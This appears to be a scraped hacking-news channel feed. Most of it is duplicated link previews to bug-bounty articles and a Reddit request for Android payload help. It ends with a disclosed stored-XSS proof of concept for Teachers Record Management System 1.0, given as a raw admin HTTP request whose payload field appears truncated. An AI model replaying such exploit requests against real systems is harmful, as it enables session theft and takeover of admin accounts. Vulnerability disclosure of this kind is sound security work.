Hacking Articles Tips Tricks Videos Tutorials

Blind XSS to Admin Panel Dashboard

My name is Aniruddha Khadse. I am working as Product Security Engineer, also I am a part time Bug Bounty Hunter. This blog is about my…Continue reading on Medium »
Read more...

11 views16:45

WHATWEB (“What Is That Website?”)
https://hacksheets.medium.com/whatweb-what-is-that-website-e01a58498b7e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

WHATWEB (“What Is That Website?”)

The WhatWeb is a tool that is used to identify different web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web…

10 viewsedited 18:09

Hacking Articles Tips Tricks Videos Tutorials

10 views18:09

Hacking Articles Tips Tricks Videos Tutorials

Continue reading on Medium » (https://hacksheets.medium.com/whatweb-what-is-that-website-e01a58498b7e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

WHATWEB (“What Is That Website?”)

The WhatWeb is a tool that is used to identify different web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web…

9 viewsedited 18:10

Hacking Articles Tips Tricks Videos Tutorials

Blind XSS to Admin Panel Dashboard
https://aniruddhakhadse.medium.com/blind-xss-to-admin-panel-dashboard-71346efe6459?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

Blind XSS to Admin Panel Dashboard

My name is Aniruddha Khadse. I am working as Product Security Engineer, also I am a part time Bug Bounty Hunter. This blog is about my…

7 viewsedited 18:10

Hacking Articles Tips Tricks Videos Tutorials

6 views18:11

Hacking Articles Tips Tricks Videos Tutorials

Hello Everyone!Continue reading on Medium » (https://aniruddhakhadse.medium.com/blind-xss-to-admin-panel-dashboard-71346efe6459?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

Blind XSS to Admin Panel Dashboard

My name is Aniruddha Khadse. I am working as Product Security Engineer, also I am a part time Bug Bounty Hunter. This blog is about my…

6 viewsedited 18:11

Hacking Articles Tips Tricks Videos Tutorials

Recon Step/ Methodology
https://vengeance.medium.com/recon-step-methodology-c9664f5ce312?source=rss------bug_bounty-5

This is just a self-note on different steps to perform while approaching a target.Continue reading on Medium » (https://vengeance.medium.com/recon-step-methodology-c9664f5ce312?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

Recon Step/ Methodology

This is just a self-note on different steps to perform while approaching a target.

8 viewsedited 18:11

Hacking Articles Tips Tricks Videos Tutorials

WHATWEB (“What Is That Website?”)

Continue reading on Medium »
Read more...

8 views18:14

Hacking Articles Tips Tricks Videos Tutorials

Recon Step/ Methodology

This is just a self-note on different steps to perform while approaching a target.Continue reading on Medium »
Read more...

9 views18:14

Hacking Articles Tips Tricks Videos Tutorials

hii guys i was trying to create a payload for android 10 , but it is not working on android 10 , so please help me with this
https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/

submitted by /u/Queasy-Ad-1783 (https://www.reddit.com/user/Queasy-Ad-1783)
[link] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/)

___________________________
@hacking_Attack
@Hacking_Video

hii guys i was trying to create a payload for android 10 , but it...

Posted in r/Pentesting by u/Queasy-Ad-1783 • 0 points and 0 comments

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

9 views18:53

Hacking Articles Tips Tricks Videos Tutorials

10 views18:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Teachers Record Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Teachers Record Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5a28d092e9d867e89c133c9325a57ec7

Download

# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS) vulnerability (Authenticated)
# Date: 05-10-2021
# Exploit Author: nhattruong or https://nhattruong.blog
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email=">&submit=